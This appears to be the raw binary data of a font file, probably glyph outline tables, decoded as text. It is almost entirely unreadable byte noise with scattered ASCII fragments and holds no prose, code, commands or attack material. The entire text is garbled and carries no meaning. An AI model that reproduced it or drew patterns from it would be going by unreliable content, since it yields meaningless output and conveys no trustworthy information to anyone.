':���jkk�hKz.4��,[R�EjۋP��jjr��2|/Gj��.�2%# &7676?>76'&#"#67632327673P���{���*ii��ԔFF��fg/q=���h��%!jk��DCPO��nm&sH3�ٟ_^=7<zk{@AGF�>+Ҿ�aaA;7::l�GFRQ�E���D1%#"'&7676?67676'&#"#7>32327673Vj�g�cbPP���55
43tu�j-k�T��JJ���88
88|�SQj;,,WV�oFG/-*)(CR))tg�*,��fBB,-1++FY/.;;w��������9[	0"!276'&6?3327673#"'&7&"# 76!2d�7'"�+
d-��%,[R43_+DDFH�Oa1���2+w�T5�k{_H>~=_@@�V��mQ>.,`�"]s����]=d�9�q'#733!!32673#"&'733276?#"&7���@�@Z���&FHR�E �H}8+_DR[763>�h!�kJ��k�]�LU_����!!�`Z><�W�����!#7!3!73"#676��D{-�I�������VX$�Eu�{���jj�Y[�dL$`���+!!327673#"'&7#73767632#6'&#"�Z���%FH)*�\T��45!���us�M:>7*_)!R[77'k�]�L*+_�CCGF��k��_^!�`--=;���V��#"&7!#!#7!327673]PLNGܛ1�I-{E.E{-�I��* yX65r��"�5�`�����NK10c�����j'��)8�������A'�'X�r����( 766'7!!#"&'&'&767!7 i��.6hh���6.�B
��n�.SU�u��Q[ !.����kg���骩���[hkk����d[``[g����T�k���%!'&7#7!#766'&'7313�>b&ɾG���Դ�60A>�l�HU*SU�t�pAe�kk��}B/	�����rS��ٗ��d[0'e��%3!73#7!#	632#6'&#"�����i�Ì+�ꗈCC?7*_!"R~A��jjj�kk��\k!�`--H�l���9O=%#"&'73326?#7!#62#6'&#"�J�o/`/(^-<7O7h�y������](r+_!#R�X�|[�D;=\��kk�%�.�`--�����#7!7!!#!!!!735N�����+{C���G�_��L(z@H�}�ZH��}�������@[17!&'&/&#"7632733!327'&'&#"#7�&1]E����MqoFli<�y����
&1]E����MqoFli<k�j	
9�y�FEXV�ij�	
9�y�FEXVz���|�##7!#!!"'&'3327676'&'_���+{Ci�8N�OM%.����uikc?p���mk"&GHTf��Z}�Cyx��}|9D��dc��fe/����#"32673# '&7676?7!#7!��no&"EE���)p?yuuu��tu.%}}�P��iC{+��TefŬcd����9|}�xy�}���`f0�6�'#"32673# '&7676?7!#7!��no&"EF���)p?yuuu��tt-%}}�P��f9j$���efŬcd����9|}�xy�V�ݸ�Qf�6|'"0#7!#!! 73! 5476$76'_���$j9f�1�"%��U_�����$�#�f��#V�'���g	eښ��������{�$#>323#!73!767!7!676&#"Op4v�h��&q�EZ+�>o$uD�=cG�+$T|���q
9<��t�}EJ#�����m�SK}z�������B� !"&'332676&#!#7!#7!32x��&)����u�d8p����"����z�=A{)��c�UH����23"������tk�����6t'$!"'&'3327676'&#!#7!#7!;��NN)-����tjkc?p���lk"&GH���h��4i�Q
yx��}|9D��dc��fei����aw��?q%33##"'&'73327676'&+#73�@��!pCP-+ts�H?>7*_#!R[76%&[t3��q��j�M^��]]"�`,.><��<>jS�V�{
6!2##7!6&#"��oX��;�
�i��O[x�����:�K��fk��p����K�	#�ޢ"�+���K��&�������!7!3!!!!#!7!��� s]�]s ��(s ��]�]�� sS�� �Ѣ� �K�%#7#���圜�9�c�����k&'?j�����
�f&'@j��(��	`f&G@����V��&/-P����9��&/MP��T�9�&OM�����V
��&1-����9	[�&1M����9��&QM'���b_k&$
u�u��D��?f&D������k&,
u�u���^f&���<��j��k&2
u�u��V���f&R�c�����k&8
u�u������f&X�J�����3&8
��������&X
�c�����Z'
��8������>&X
�c�����X'
��8������<&X
�c�����Z&8
��������>&X
�c��i��VD���b_3&$
�	��D��X&D
�R���b_3&$
����D��E&D
�<���K1'q�;���E��)�'q��s��P�&6&# 326?!7!7!7!3## !2Z�����A@�q�h�D�%���9��(��������DE�Y��D����������88�k�k��k�MM�_b�;<�����9�D*24#"32673##"&'7#7!6?#"&53232767�m���P���
��4Z��i�Q,��	/I�u����Js}�],�����Fwœ	��%#kmFx&&�k"&�ZV�mhf� h`[+B��r��k'
u~u*��H�9�f&�}J����]k&.
ufu��Te�'
uv�N��j�g�&2����V�gzD&R�����j�g2&�qH<��V�gz�&�qh������k'
u�uy����6|f&�T�����9�f'��f������'=j'�����
��']j'��(��	`']G��r��l'
q�v*��H�9�f'��J���	!�+7!3!73#7!#!#7!#3276#7!# '&���}������G�dd�G��8HH��\`7B�f[B����kkR��~jjkk��kk����qqqvUl�+���������V��6&#"76!23!73#7!��N[����+�x ^�g]����L������������'�$jj�k�����:k'
s�u1����d'��Q��;8k0'!6&#"3233!73!3!73&'&76767�"�}$_G?@h
F@?��<)A3(ٓ���=�����\��`KW��eW~YWA?XO�2QrP?&��jjH��jjw%=SrQ?
D��}k%3?%3!7#"'&'&77676"326763"&67676&#"326���� DTUo�Y8D���<��j���51�~�&]6��. @,��,_VezG@Ah
FA@jjj�d0/wKh=Ha����ޖ���Q=>*S����(P栠�PG��?XW@AWX���Kl'
q�v���E��)k'��������l'
qnv�������f'������b_k'
z�u$��C��<f'��D����b_m'
v�u$��C��<H'��D������k'
z�u(��V��_f'��H������m'
v�u(��V��_H'��H�����fk'
zsu,���d&�����������m'
v�u,��b�&�������i��k'
zu2���U��yf'��R���i��m'
vSu2���U��yH'��R������k'
z�u5���7f'��U������m'
v�u5���7H'��U������k'
zbu8������f'��X�����m'
v�u8������H'��X��;�4 �&6�����4�D&V���`�4��&7����p�4;q&W����R��"$ 76,'&7%676.#@Vn�D‡�~*�������58`���`=��se<qo����M�q���IsE��GyRql{I�g8�
gg����O�>%#6$76$7>'&?67>&#"�t:k5b�1�yyw#��
��d�d'3O���~i`(yXi�C�+C	���?�Q�٦!d+�gP�9X>PdV0g^�m����k'
u�u+��ak�'
uv�K�`�Vo�6!23!7364'& 3!73#7!��:�[6�����6�z��0�������{�W�{�'kk���5m�����kk�kD�j�	9 76!"76&#"3262; !"'&'#767#"32#7!T�]'"�%l���++e����	1+���T5	+
d
\{Ľa5�{�#k�f3k{_H>i���������]=G=_@@B6
/7�6_d)j	��_�!676#7 ! 6%&7" 6%�7�%-��D'��</M��	N.d�#5a�++:"����):�i�t��a��ȓ��s�멝�b�B*������� % 6%6'7 %&7676�<)���1<!e{�&+��9O�bO5G�,�I�/�F4ҩ�����`�;��ہ���i�����4�m��l����#7!#!!3'6767���+{C��b�)��Al>)H�ZH��ZPE^=O�ph'37!#!!3'6767C��#j8f����)��Al>-Vf�#V����ZPE]EY���b_^'
x
u$��C��<!'��D�����u��'�%(��V�u_D'��H���j��3&2
�n��V���&R
����j��3&2
�u��V����&R
�~����j��^'
xru2��V��z &R�h���j��3&2
�Y��V��z&R
�k��e�2'q�<<�����9��&q<\��%~ %376'632!"'#767'&7#7!�2��p�|���.'��]r'M.��i�^m|�i���G U��eO���j��%PD0%3766&#"##7!>32632!"'#767'&7t2��p���&Dy��#s���h%H�l�)#���.&��]r(M.�^m|@Ñ�����k�ln�֐�W���G U��eO����%q&%376632!"'#767'&7#733!�2��o�)S���.'��]r'N.S��@�@Z�^m|��X�i���G U��eO���kJ��k���9F'#7!#"&'733267y�f� �H|8+_DR[o�k�q��!!�`Z{�9��776&#"326732676&#"7#"32#7!>32#"&'D%k���++e����&l���++f���%�� J�{Ľb4�{�#k�i�I�{ļb���{�" �i�������������ʿ���d_7�6_d)j�md_����_d���VnD,96&#"32673>32#"&';#!#"3232676&#"�%l���++e���%r� I�{Ļa���{�"_���tJ�{Ľa5�{�#{%l���++f���H�������H�d_����_d�kPd_7�6_d��i��������b��T"#73733!73!3!'7#;!�dC��N�B�ԥ����=�*�����?6�!B�dH�N1j=.�h�G���jjH��j99��V�:�����$.'%&'&7!27#4'32673#"&/7&'&#" A+#C�Iz�ck�B�;q�*Z�O�k����Nh�^���@(9E�O[��\� *�G���J;�������da�qY����������� *'7&7327#6'32673#"'7&'&#"	?�L*2U�e_74�?q2k��5�w�3�H����onb:���-^?ɐ��1
{?n��9-��t|}��|�N@��v����#73#73#7!#!!!73 �x��i�G�iP��t�0{Hje}kk��}������:��)73'!#!7#73!>���X�Z@��I-{D�?B[1{�냿�sUj��E���`9GR�y��_�J@�9�D?32673#"'&/&'&'7332676&/.7>32#6&#"#"'T*O+E^'5f=�7Q+0jv�|�O�|�a��T�[-jrut�
J��j���74!�];D�(<s�C	�wv]YFV1-,�f��,*�gtRRCQ*-/�o���9m' 3#7!#!3232673#"'&/&��C��$j9f��0�A(+E^(4g=f7R"Vf�#V���Ia;D�(<s^�1�� "#7>3!2#0#3!7332676&#�V+3`*E�H&��%&���0k�����ʕ�|�k&,`�" ����jj������D27676'&#"#7>;2#2�_^>>�U,3`*E�H1�mm%&�i�3�gQP��QP&,`�" rq��pM����b�,#73#73#7!2!32676&+!2676&#!!! �4�ȭ���$���� +���ׂ������+��!!����3N��j}|k����ä��^~��}�������}T����!7!#7!# 6#7!# h����H��8���8�����B����B�}kk������kk����S���b_����D"&!#7#373#7#!73!'7!73#7!	#%!s^(@{(���${`{$���O({@�9^(�����8�G=���xaD O����������o Ojk��pz�W��`�$+4<327673#"''7&'&547632654'67&#"6dY+��~ŧ3Gt9f�(�h�<4/Z2E1N1R�0*pD�V�@"	�V�� '��9z�V7��c=��#?QY>
_e&Dk�DM�4�8C{]+�y�&"]?	�������V��733267#73#7!#3##"&��-rEXw{+���j�q�j�Ȅ0��G����ca���}kk��}�Z��"�����9��&
}]!��V��>%2>?6.#"27!#32673#"&?#"'&6$sl�|T;�k[�oZ<"21@1��,({���*AwXkr.P�Gܛ0$Ot�^�uuD,�(N[�Յ��Ԩ[Ct��wf�fD2�tt�k��ږac�""��/IH'��[�_���9�D/"32676#"'&'&7767632673#"&7����61�~�&^�ETTo�Y8E���=�>[Rf_+?�H�� ޖ���Q=>*S����d0/wJi>Ga���q�yZ`�#������)!26&#!3!&'&+3!73#73#7!2'��;u���^C))�����)/0b�s����s��q����%�!�,��{.-R�Ejۋ((��jjLkIkп��:8D#6&#"!!##73#7!>3284j
>K�[] #��Z�Z��K�h$L�z-a)��ON^a�j�0�j�i�ok'�� 373!7!'#7!#!7#7!#!!3!��i���T�+�T����������m����yj�z�kk��kk�z�k��j+�����9�'&,3##"&'73327#73#7!!67#7!676�*7��@O��[�/_0(^A�����Iyd�.y��q�(!��jŠ�E�;�*"��jRk�C��k���eS����D!632#"'#7!4#"132766ְ݆Y?E���:��D��~�&]P���6��wTx2:�����j�������@��V��>C*:��C$27676'&'&/#767&'&767676'&9=/kDn�]^10����IA=9qdf4�
#2��w6�so\.+37�u�$oU8$������B<�%oi4;^2�Kyuz8Q�����{e��q{
	�X���$567632#"'&'#767632#6'&#"327676'&#"�H_\{ļb���{JK" ��- ts�M:>7*_"!R[77�&75��^_++32��\^%�b10����/0d���]^!�`--=;��*�edqq��ppee�.��D6$32#"'&'33276'&#"�H��oo12���e_`[4k;9��cbZ64�w�3課������0�@@st�tt|}j�%gD.%766! !"'#767&'&77632#6'&#"g1�	۴��	2*���^r(o21���e`_\5k9;��bc,�\m}���G U��eO
	�����0��@@st�b�9f'8327673#"'&?#"'&32#7!76'&#"3276� [R42_+DEDH�PO -I]]{�_]a4�{KJ"l�f��%66��^_+*32��]]h�<>--`�!]^��&d0/���60/d)j��i�eepp��qqde9��#467632#6'&#"#7#"'&3276'&#"3276�< ts�M:>7*_"!R[77� K[]{�]^b4�{KH-%56��^_++32��^\�4�]^!�`--=;��K�f./���60/��i�eepp��qqdeO��WD!7632#"'&'33276?%!6&#"b<�����11���fe
�AAy�gf*��@m�[[�������XX�}?@nm�j��_^i��VD!!76'&#"#67632#"'&73267j*;<�y[Y7�N����op11����dd�75��4'�nm?@}�XX�����̕���_^��V��WD-9#"'&7#"'&7&'&#"#67632%332327676<W2_rMD��1����cN<<�y[X8�N����o0r69R�����05��URN�N0]Q��k���̕vp�>,m?>�XX�!%�=�;>+��eU^_\;4���2067632#6&#"!3#"32673#"'&76767&'&�oo�6eej+l~^�!%]\�YV+G�t�l-qpkP�ljxR}O/Y*�DC�YZ��i><tO2Rjf�$OO��N6#C	���22"#767632'"'&'73327676'&+73 76M^QQl+vkk6�UUs=Us<X���Peh`-iTIt�g?>A�\]%!�-.Y�CD�C#6N��OP$�f55R2Ot<>i�����2D"'767632%3327#&'&7'"'&'73327676'&+73 76M^QQl+vkk6�UOr69Rj5<5%:WsLD�� =Ur=X���Ofib-l
�t�g?>B�\]%!�-.Y�C?u�=�;>-N&\Q���#6N��OP$�fjR2Ot<>i��f���D#%2676&+732676&# !2# rl�x�&&��[n�qZZ}mf����{yw�Fm`ijcjb_m�3�2�0��`��g�NM���9�'#7!3##"&'733267#73y�f`��n �H|8+_DR[on���k�j�Ȥ�!!�`Z{�8j�9�:!"3267#"&'73326?#"763!767632#6'&#"�I��'*e���%C�,���i�Q,`t}��&I�{ļ0+5�X st�H>?8+_""R[85Ht������p�|}&&�h`�ďd_7��6��]^!�`--=<�H�9w''!##"&'73326?#"76!"3267����,���i�Q,`t}��&I�{ļ0+5�J��'*e���%'k�[�&&�h`�ďd_7��6�!t�����f��^D6&#"326?#7!#"732�t���Zj�b~41�}L`ʯ��12U�o�[4Ռ��4�)�j�xF@3��1/0����8�'!#"'&76	#7!3327676"��l��?("��ܣ.*����*��?.%��@��N@gAk�pSk��
�����6"6/"9����jA%62#76"'&'&#76763276���0i	0D��}�[��c1*f`vm�'�rRBs�9K0���jl�XlB�N���lhQ��V�'%#"&7#7!3267#7!3!5H�k�)o�_y%Cz��#^�X�����jo��9k�����k��jck(676323!6'&#"#67632#6'&#"�HZ]l�*o���x&!"z��"s�� ts�M:>7*_"!RX:6jl77���jj�GH������]^!�`--=9���9b767632#"'&'73327676'&#"#67632#6'&#"�H[\l�*� ts�H?>8+_#!R[77�&!"z��#s�� ts�M:>8+_#!R[76jl77���^]!�`--><���GH������]^!�`--=;���<�&
}
|�'
#7!3"'&�w�h� [�PL_]k�8�<=c^Y���'%3!73#7!#_�������jjjRkg'�%%3!'&#"#67632#7!32673#"'h����*  `AA[o�i�+@`AA[jj�('L�JI;j��PK�JI4I%3!$7672#7!3#'6����[��%+�W0w�i���H<jj���8dj� cc�rik�9�#7!327673#"'&7��i�� [R42_+DEDH�PO ��j���<>--`�!]^�	��6j*#7!3!#7!!!"'&'3327676'&_��񊁮���i`b�1N�XM%-����tjkc?p���lk"&GG�f���fj�j�V��x��}|9D��dc��fe���'*%#"&7#7!3267#7!3267#7!3!7#"&3L�n�{(o�^� Fo{�#^�X�Fo{�#^�X����%H�d|��uw��:j�q�����j�j�����j�Bi�jp{��V'*%#"&7#7!3267#7!3267#7!3!#"&3L�n�|)o�^� Fo|�"^�X�Fo{�"^�X����xH�d|��uw��:j�q�����j�j�����j��kgjp{��9�D;#"'&'73327676&#"#6'&#"##7!>3267632g st�CC?8+_DR[86� Eo{RS#s��##o{SR#s���h%H�d|GGL^^n�>>)Kh�^]!�`Z><����]]�����CD]]����i�jp>=qu;<hg�w���9�D*#"'&'7332767#7!67632#6'&#"` ts�H?>8+_#!R[77ΰh%H][l�*��x&""y�UU#Ch�^]!�`--><�$k�l77��\j�IH^]�����9�D)6'&#"##7!>32327673#"'&7�&""y�UU#s���h%H�l�B?*� [R42_+?JDH�NO j�IH^]����k�lnec��<>--`�]^����g'#73#7!#7!##3���]������z�0��jRk���kk�'Z�-jf��kD%2767!!6'& "'&76 �cS,��-56U!05��cY��oob���onb��Fuc��cu��juuj�ᙚ��������fs'&&7! 7676)#7!!73#7!!73��}'(SP�-�0{����01��_.a� @V_E_��Q�a�up��po	R	�M������|��{�`�X��D&32676#"326? #"&'#"7�'G\_�&/����/&^_\�'�c@;(���v~
*�v̷(;�(�����$�������(3������SS��1G`�V#"763#7!2%"!2676&#�N�N��21T�E�h[��b���r���XjK��-,j��s�3��2bn�0����c��8���������'33267#7!3!7#"'&4j?K��"_������$K`_z-1/
ON���j�Bi�o65�����332767#7!3!7#"'&K4j
>K�^Z#�������$K`_z-1/
ON^[��j�Vi�o65�9�'&!7#"&'332767#7!32673#"'&70%N]`z-`43j
?K�ZZ#_���>\Re^+DDEH�NK�q45

ON^]��j�q�|Z`�!]Y�g�XaD#6&#"##7!67632a4j?K��"Ÿ�h%L__z-01)��ON���fi�o56��9eD+#6&#"327673#"'&?#7!67632d4j?K�[["BG [R42_+DEDH�PO ]]�h%L__z-01)��ON^^������<>--`�!]^�h��i�o56��=!#67632#6'&#"I�� st�CC?8+_""R[86ޤ^]!�`--><���=6'&#"#767632#7 [R42_+?JDH�NO ��ނ<>--`�]^��"��X'%3!.+3!73#7!2%32676&+�/T���eDEzL������`����?�lyTk�I��jRb:�|jjSj��f~.eQPb��'$#!73#7!#3267!#32676&#�wcƛ������LzE\C���2K�oF�kzSl~f��jSjj�|:bRj��I:K��bPQe!�9�D:332676&/.7>32#6&#"#"/32673#"&7qjv�|�O�|�b��T�[-jrut�
%&~��64���g]?[Rf_+D�H�� 3wv]YFV1-,�f��,*�gtRRC()*-.HFo��d�{Z`�!!�����9^'#"'&'733276767632#6'&#"3�s�H>>8+_""RY9K"�s�H?=8+_"!R[7K#h�t]!�`-->Pn���r]"�`,.>Qm�i���9+.3##"&'733267#73+7;7>32#6&#"K��n �H}8+_DR[on��K��#ܳC�='a
DOg55��~j�Ȥ�!!�`Z{�8j�k����KN8;����9X>%6'&#"#767632327673#"'&�m%+[R34_+DEEH�Nj9��&- YR34_+DDFH�OihGnQ=--`�!^|���nP>--`�!]}���9�	02767&# %# 76!23767632#6'&#"#76Y:C
��%Mx���#(+�s�H?=8+_!"R[7K&j(d
��>H_{k~G=]����s]"�`,.>Qm���V�@@_'���D%3##!7!6&#"#>32P��@�@��Z�%FH)*�$���54!kk��Jk��L+*_��FG�h�Vaq#733!!327673#"'&79��@�@Z���%FH*)�$���44 �kJ��k�ЇL+*_��FG�,���'(!3#3!7#"'&?#73#7!!#!3276?X`��F���$H[\k�@@*��K�_`�K�A�!&"!z�US'�j��j�j87ed�Mj�k����HH^\`���'%!#"&'.7>7!7! 7676&'7!��R|^U�jk�;C0�������$�&pq#Im��@��l�ICGFDK�n��@kk.����pp���.k���u'"3#&'&7#7!7676'&'p�@A=?^Ueek�VM"v�h� \|�p%)*m�@���o`cIC#$^S�]k�8�<<�k��gf.Mo'33!7!76���y��rM�9z��m�x'�DkFd���l���s�'7!7377337!#u�nk���fa���l���w��p�M�>�5��lls������Dm>������#7632#654'&#"3!7!i���[�/_0(^A���y���'~yP#��;�*"��}k�c���u�\'!73#7!##7!#39�<�'��Y����R>�j1oo�X�oo��j�9N'37!#!!327673#"'&?C��$j9f���) [R24_+DEEH�QP!Vf�#V��҃;>--`�!]\�h���BS'%276#"!7!#!!2!#h�?��0C��$j9f���A.�.'��%�lcy��Vf�#V��E�Ⱦ��6|'##7!#!!"'&'3327676'&'_���$j9f�1N�OM%-����uikc?p���lk"&GH�f��#V�yx��}|9D��dc��fe?�6|'$, 76676'&+7!#!#77&"2���#(	.K>&GH�_���$j9f�1N�OM%-�q��1�o���6���V{�fef��#V�yx��}K56��{_O�37332676&#"#7>32#3O��tZ�&%mZn�#_)h�V��'(��r|�j�z¾ydb�))�����j�6)73"&76$32#6&#";3���|r�)(�V�X)_onZ�%&\Zt��j{����))�bdy��z�*�!#2#"&'7332676&+#}�|r�)(��V�X)_onZ�%&\Zt��j������))�bdy��z��9�>32#6&#"32673#"&7 �H}8+_DR[m�>[Rf_+D�H�� ���!!�`Zy���zZ`�!!��k���
-67632"'&2#""&'&76$3 �	('0.		O^�<@@�����@@���NZ6F��u�E=D#��u���.""""./B!!��QJKQ��������kdapjpbc�V�����obc��-'' #!73#7327654&+327654&+�0aHx�������
�jBSYh���uK`[v�'ȉL9
� ��jSj�[,8T2Q��8Iv=`2���D#% !";#"!"'&7>7.7>3 ��ZZ�qn�x�&&��^,m���Y[���|��fF��m_bjcji`m��MN�g��`��9��O+6&#"326?#7!#"7327>32#6&#"�t���Zj�b~41�}L`ʯ��12U�xf �H|7*^CR\n]Ռ��4�)�j�xF@3��1���!!�`Zx�� ��P'3!73!3!73#7!#!#7!������P�P�������>�>����jj��fjjSjj��=jj�����9��'
}�
~��T�'	#7!733!3!7x�ٙ'"�O������������.j�����j��ckk��'
#73#7!#!73���4���0jHjSjj�����_�V�%43!#"'&3267632#6'&#"6&#"32767����sKZ]{�]^a4�{KJ#; su�H>>8+_!#R[76��%l���++32��]]%��kPf./���60/d4�]^!�`--=;��������qqde�O�#373#7332676&#"#7>32#3#3O�<��<tZ�&%mZn�#_)h�V��'(��r+��<�j4j8z¾ydb�))�����j��j�6#)73#737"&76$32#6&#";3#3���<��+r�)(�V�X)_onZ�%&\Zt<��<�j4j�����))�bdy��z��j��(���=H76&#"326273327#.#"#7#"'&547632#7!63&'&/&#"D%k���++e����li<�*
""0_D����O�Fli� J�{�^?14�{�#k�fr�xO����
""1^Dx�i��������XV�
	9�y��X�d_�g�JU�6_d)j����~��	9b�6�6C#7!3!7#"32#7!!!"'&'3327676'&%76&#"326�_��񍁰��!I�{Ľa5�{�#k�f`e�1N�ON&-����uikc?p���lk"&GG�%l���++e����f���fj�d_7�6_d)j�V�yx��}|9D��dc��fe8i�������H�B�8<%276#"%76'&#"3276!3!2!#7!7#"'&32#7!!��?��2%56��^_*+32��]]Od���?.�.'��%�%��!I]]{�_^a5�{JJ#k�f�|��lcy�i�eepp��qqdeV��D�Ⱦ��d0/���60/d)j��8m0q6#733!!3!2676&/.7>32#6&#"#!"&7��@�@Z���-Fc|�O�|�b��T�[-jqut�
%'}��64�����o!�kJ��k�]�%6YFV1-,�f��,*�gtRRC(*)-.HFo��p���9�@#"'&'7332767!32673#"&7#733!6767632#6'&#"��s�H>>8+_""RY9K���%FHS�$���h ���A�AG�s�H?=8+_"!RY9K#h�s]!�`-->Pn�C�]�LU_�����kJ����s]"�]/.>Qm�ip��yq9%76#"#733!!327&77632#6'&#"6! !"'!"&7y2�����@�@Z���%F��W-2���c�Z5k9;��bc,�-'�|�k����i!�]m{�kJ��k�]�LS�����0/��@@st�i���YY�����9�@#737>32#6&#"!>32#"&'73327676&#"#!#72767I��#ܳC�='a
DOgj�%H�l�B?*� �H}8+_DR[76�&Dy��#s���)�"ݳi36�k����KNq���lneb��!!�`Z><��Ñ��������b8<�UL*%!2676&/.7>32#6&#"#!#7!!�|�O�}�a��T�[-jqut�
%'}��64���E�ij9YFV1-,�f��,*�gtRRC(*)-.HFo���jT��c!,3#7!633273327#.#"#&'&/&#"U�ir�xO�Fli<�)
""1^D����O�Fli<���
""1^Dx�j����XV�
	9�y��XQ��	9/���)#73####7!##73####7!#�N�_�I��_L�[\I*kE�N�_�I��_L�[\I*kE5�/�<<����C<<�k��/�<<����C<<�k�����#!##!#Dj8��;hEgDj8��;hE5��!��^��!��^�X�-	3#"&7376'&#"#767632#3267#7�����yH]\l�~)� [Rf_+I?EH�QP -g%"!z��#^�'��jel77�����<=Z`�#^]����HG���j�9xB76'&#"#767632#3267#7!3327673#"'&?37#"&7] [R33_+DDEH�OP -g%"!z��#^�V�- [R42_+DEDH�PO 
H]\l�~)�'��<=--`�!^]����HG���j�Y�<>--`�!]^�h�=l77���F��#73676323#6'&#"F�m�K,89Cm()>e�DKP34A�,;��=99w��;Zm((44c��@��)676323#6'&#"#>32#6'&#",79Cm()>e�DKP34Ar��j-&'";36$ �=99w��;Zm((44c���\h		z6#K����">32#"'#73#"'&'7332767�
2"
 l�GGj,''#;38"!�4&&4�<�s\45	
{6"#H[��#6'&#"##73>32�B/T87@rhm�.tL<�-45b��;j?<���2�7332767#733#7#"&
B/T875��hm�.tL<��-45b;��;j?<
���*7#"'&'7332767#73327673#"'&7_09:L B/T775��93;+*+-j21�jA�-45c;�sJ!#6{		44]�����(#!73#7!#3276?3#327>'&#�K<=`��TdT
].c+)��P�3�.�B&%B�#$=N()*�**�7�*�!$�xI�6�6767#73###733�TEDa
�
@=ZcaD��]QK
�GQQp�<<�d�T��C=�/������#"&'73327#736767#7�>n��9�<<)oa�L
��fPM���K!		q	V�<���8��<��ot�f���otDf&��t��G�#>7GZf�#���@��?��[��V�	>?3�Zf�#VU�F@��?�xy[��
0.703]vO!�$FP[�?����:672676&#672�@jG@sA?,__�=>X@?X=>PO�PP��B"'&6763"3�sA?,__s@iF@�PP�OP>=X?@X>����.!327676'&#"#7676323!7WOL:#":6 !?,-,/o56J=KEq���""mj""6z		44}�5+��;;'�.73&'&767632#6'&#";3'qEI-6JIo/)(%>6;E+;LOr�;d+5�}44		z6DjmD�i;�23�%
%�vD�F��������2�7-7������'�������|f3##ܨ�t���tf�g���|of#33$��t�t|�g\��f3##���t��tf������"f33E�t��t���x������3�b�b����pb��q���!fv��o��dC��H�@3�b�b�����&����Tq���^�1x)3!#����=(�=l���l�x!#��=x�������#���������#����\RzJ733##7#7��$���$�������]�y�!7y$�$����)H
327673 &�`--�;;`&��ނHO#$$#O���I73!
2"'&767�`	
'(f
	*!#"03!!!!30"���	"&67626'&#"3276�,��,__�@P#$@A43

$#A@45g栠�OPP�?,,+,@A+,,,F�w�!33267#"&7>�^o		88<!%E qk	Q{/.8

		YQ1in87"'&'&#"#6763232673#"'&�.*  `AA[&.+@`AA[&Z7('L�JI!7PK�JI���f3#3#����rP���tf��x����t?%3327#&'&7Nr68Si6;7":XrMC��c�=�;>-N(	\Q��`���!'"'&767#73653327676�oQD��'
��g���`���XS(��OX,$9$=a�M<�Օ���˵S kL�n3##73�q�s��;,;�b173327676&/.767632#6'&#"#"'&EOZP0/
4^RTBON{7::<E
'&LKW	TZ\$#UT�C><��BB2'0J9R/.
�: !..&('>U01
���#'#73733#'RN'�R
���O�ޙX
����<���;�'�.73&'&767632#6'&#";3'qEI-6JIo/)(%>6;E+;LOr�;d+5�}44		z6DjmD�i;A�X!!7!�AG��Ј���X!!7!3��A�<�����4����X3#!7�x����x�A�h��h���X3#!7f�����<�A����4�Q�X%3!7*������������/������E����>?3%>?3Zf�#���mZf�#��F@��?��[P@��?��[����(�����$��Q��������E���9��B�3����ve����-�Y�����{dC�������fv�������gf���������7�������b�o�q�����������&)��H�������7��!������7��!j�����Y�2#767676'&#"7676���
*BM�v" 2)IX/c�o 18X(Op6'<
"����9�]�������f������1�f�������m3��J�J�~������m'����"���Ff###���r���t��f��x��x���&)���'���������)�gH
#6'&"#> �`--�;;`&�"�)O#$$#O����'���&	#6767vT\�IH��*pPgIJ6��C�2'67&'&7676��E	�D^0>'�7#,��LS#&8F'��(�2&'&?676��-/-)1@P�)	 2�'F8&#SL��,#7�X��f3# ��uf�������X�eC�j����c��v�ev�U���L�G��%73#7#7� �\� �����"���=�G���%33##��� �� �ۥ�����}t!#!���\�@��t�"J���A732676&'#"&�j/.F
qQ1]M^WC8:$C q|<���:��_"'&6763"3�as@@,`^s@iG@�:OP�PP{X@?X���6733!7�� � ��"����������%##7#7�� � �۔�����G��%733##7#7�� � �� � ��������������%!!�!��"۔�{�9�W�'#"&'733276?�- �H|8+_DR[76-�褻!!�`Z><����9�S�%332673#"&7��- [Rf_+D�H�� ��<>Z`�!!�����I�x�3�b���A����x�5�bj�<�A�(����6&#"3267"&7>2�[,'(?*('A���c��c��&65'(56&Z}}ZY||�7�4�g�d	>=3�7LF�::u�d*pPgIJ6����u��z����F�w��������p�d3��J�J��~������P�f#!#7�q-�JVJ�-���y�����C�Z�b#"3327673327673#"'&��?W�,`7	J%`7	I&`C�S#��N��	��	��J�����d�b��B���������d��@������C�W�b��L����E��d
#6'&"#> �`--�;;`&�"��EO#$$#O��������K�^�e��&�.�����:�fq�X�p�����mB������]������eQ'9'&'&#"#676763232767673#"'&'&#"#676763��

�gf;P$` >AmkTi�

�gf;P$` >Jd_`i�
�gf;P$` >AmkT)	9>(&�;=3)B	9>(&�;F*)F	9>(&�;=3)����:7!���jj���:7!�	��jj���'�'�Z?�?^?�?�I��*'��A�B9EG�I�@���e2#72676&#��s@@,`^s@iG@�OP�PP{X@?X����K�l73!3��-�J��J�-���y����?�I�g!!��66�k&j����b&�����C�"�b632#6'&#"#6'&#"#32�
?W�,`7	J%`7	I&`C�S#�N���	��	J�S��<U'77''��^}^�T�^}^�Uwuhtthuuhtth����n�.7>77>76'&'�\��KW/��MV�0PQX$ +0PQX$ ����'���������C����17!����+GC^#"'$#"7>323276C��|W���c��+2��X�)c��!^agE@LeebF@Lr�?7^ #&'& #676�y�
$����d���$H��^H|[ww�PH������"����'#!��373!#!#!3�����mʄ.��m����j����V3�jW�'##3!73##�c�KҢ������K�c'����jjB�~�ot�f3p���t�o�V�H%#ϡ��H�����t�33!73##7!t�\y��������y�Rj���xjjJ�/�kk��'
3#7!33!���^��y������C�j��
�Cj
����W���	?3?�K�*�65�g(Ղ�]

��=��-D?��V��UD'yE�RF��=��-D'y�R?�����;y�����V��-�!f3#Z�buf�����7��'��j���b_f&�
���B�Ly���f'\�����qf'V������f'V�������=f& ������f'�����cf&"0�����-��'�H2���b_�$����c�%����
#73#7!#7!3 ����A{)�>��jk���j����)3��_�!�i��y��������(������=�����+j���+#3!73#72#""&'&76$3 P${a{%�%{a{$���<@@�����@@���NZ6F��u�E=D#��u������bQJKQ��������kdapjpbc�V�����obc����J�,����]�.�b_�%3!7333!7��i��\�"����jy��jjk��jj����[�0�����:�1����%73!3!#!##3!73#7;{@�N@{��D{@�@{��${`{$�${`{$����L�]�L���c�����j���2���#3!73!3!73#7�����������������k�jj�jjk����Y�3����
	!73!	!#7!�]{@�5)���@{(�I.���������`��7��e��<r�'093!737&'&'.>7676?#7!#67676'&'�F1�q�iQ����L_wVaF1�uFt�G�m?tX�ųq�-/hR�����s�/-fN/��OF!
ajja
